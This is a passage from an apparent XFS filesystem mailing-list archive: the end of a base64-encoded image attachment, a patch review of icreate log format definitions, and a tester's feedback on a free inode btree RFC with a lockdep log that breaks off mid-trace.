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 --089e011607780dbdfb04e5a91683-- From tinguely@sgi.com Thu Sep 5 16:12:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 832397F50 for ; Thu, 5 Sep 2013 16:12:56 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 608BF304082; Thu, 5 Sep 2013 14:12:53 -0700 (PDT) Message-ID: <5228F3D4.4090202@sgi.com> Date: Thu, 05 Sep 2013 16:12:52 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 21/55] xfs: separate icreate log format definitions from xfs_icreate_item.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-22-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-22-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The on disk log format definitions for the icreate log item are > intertwined with the kernel-only in-memory log item definitions. > Separate the log format definitions out into their own header file > so they can easily be shared with userspace. > > Signed-off-by: Dave Chinner > --- This patch has not changed since the former post. xfsprogs equivalent of the for 3.12 kernel patch 06/50. move the shared xfs_icreate structure to xfs_log_format.h - varies from the kernel only by the XFS_MOUNT_QUOTA_ALL entry (added xfsprogs). xfs_icreate_item.h is now kernel-only, remove from xfsprogs. Reviewed-by: Mark Tinguely From mlsemon35@gmail.com Thu Sep 5 16:17:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 055FE7F50 for ; Thu, 5 Sep 2013 16:17:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BAD838F8035 for ; Thu, 5 Sep 2013 14:17:23 -0700 (PDT) X-ASG-Debug-ID: 1378415832-04bdf02f22db4600001-NocioJ Received: from mail-qc0-f175.google.com (mail-qc0-f175.google.com [209.85.216.175]) by cuda.sgi.com with ESMTP id Q4tUM5VwNUmWbe6r (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 05 Sep 2013 14:17:13 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.175] Received: by mail-qc0-f175.google.com with SMTP id v2so1275788qcr.34 for ; Thu, 05 Sep 2013 14:17:12 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=l7nT6a1QxTqj63Yc9sHJWN6I5kc1ZTBejzsdITM6pFg=; b=g6/+TU/lPjA8U/k83V/SThWIq9RapPnRXHYGtuoZ7Yo9Hx7X3HSW9jpR6p2LL8NhFj DEBN6KD3D8TX+8ya/Fb71ldLs3acBjMs5EO7aCgnO5iWSTtr28Sl7tj+Wml0cNRhPi0P N1Ltry/rcV21rZTE0r4Wu9in5iAOOXOArgSWJCv8SeycdnTrX244Ue6Jwux4p7YctdfB SekWqJeYtS5zllHkKFO78dr07v5QQeCL4Cbov9wc3QvwMa8igi9+HhNKOFNditGQwibL Obh7fBgBBH3PwpuazsDk8M1O2YACepSwpSXBHjcj3jN5MU/f31kcMUIjV58TozCLhk5R B8RA== X-Received: by 10.224.171.65 with SMTP id g1mr124763qaz.29.1378415832246; Thu, 05 Sep 2013 14:17:12 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id t4sm44087964qas.1.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 05 Sep 2013 14:17:11 -0700 (PDT) Message-ID: <5228F4D6.4050306@gmail.com> Date: Thu, 05 Sep 2013 17:17:10 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qc0-f175.google.com[209.85.216.175] X-Barracuda-Start-Time: 1378415832 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140372 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 09/03/2013 02:24 PM, Brian Foster wrote: > Hi all, > > This is an RFC for the kernel work to support a free inode btree. The free inode > btree (finobt) is equivalent to the existing inode allocation btree with the > exception that the finobt only tracks inode chunks with at least one free inode. > The purpose is to improve lookups for free inode clusters for inode allocation. > > Newly allocated inode chunks by definition contain free inodes and are thus > inserted into the finobt immediately. The record for a previously full inode > chunk is inserted to the finobt when the first inode is freed. A record is > removed from the finobt when the last free inode has been allocated or the > entire chunk is completely deallocated. > > Patches 1-3 refactor some ialloc btree code to introduce the new finobt type and > feature bit. Patches 4-7 fix up the transaction handling for inode allocation > and deallocation to account for the new tree. Patches 8-10 add the finobt > management code to insert, remove and modify records as appropriate. Patch 11 > fixes growfs to support the finobt. > > Thoughts, reviews, flames appreciated. I'm looking for Dave's judgement call on whether I should run this code full-time. The patchset applied well on top of Dave's latest work--only a "trailing whitespace" warning on Patch #9 (I think)--and the code compiled without error. There was a lockdep while running xfstests, before generic/013 (I think), so I switched back to my normal git branch and have your patchset in a separate branch. My setup here is slow--x86, old IDE hardware, write cache off, debug kernel--but the patchset made things seem a little slower. At the right time--not necessarily now--performance numbers might be nice. I didn't time it but did a copy of 3 kernel gits to v5 1k-block-size XFS and just felt something was off. The copy did complete, though. Will try timing this on another day. Anyway, good work so far! No additional stack traces were caused by your code in limited testing, and the filesystems were are still intact. Thanks! Michael [lockdep from xfstests generic/0-ten-something follows:] [ 763.993429] XFS (sdb4): Mounting Filesystem [ 764.258701] XFS (sdb4): Ending clean mount [ 768.798390] XFS (sdb5): Mounting Filesystem [ 769.061280] XFS (sdb5): Ending clean mount [ 770.030277] XFS (sdb4): Mounting Filesystem [ 770.313502] XFS (sdb4): Ending clean mount [ 788.932588] XFS (sdb4): Mounting Filesystem [ 789.256815] XFS (sdb4): Ending clean mount [ 792.639933] XFS (sdb4): Mounting Filesystem [ 792.965477] XFS (sdb4): Ending clean mount [ 795.166220] XFS (sdb4): Mounting Filesystem [ 795.507372] XFS (sdb4): Ending clean mount [ 802.870263] XFS (sdb4): Mounting Filesystem [ 803.516422] XFS (sdb4): Ending clean mount [ 814.376620] XFS (sdb4): Mounting Filesystem [ 815.050778] XFS (sdb4): Ending clean mount [ 823.169368] [ 823.170932] ====================================================== [ 823.172146] [ INFO: possible circular locking dependency detected ] [ 823.172146] 3.11.0+ #5 Not tainted [ 823.172146] ------------------------------------------------------- [ 823.172146] dirstress/5276 is trying to acquire lock: [ 823.172146] 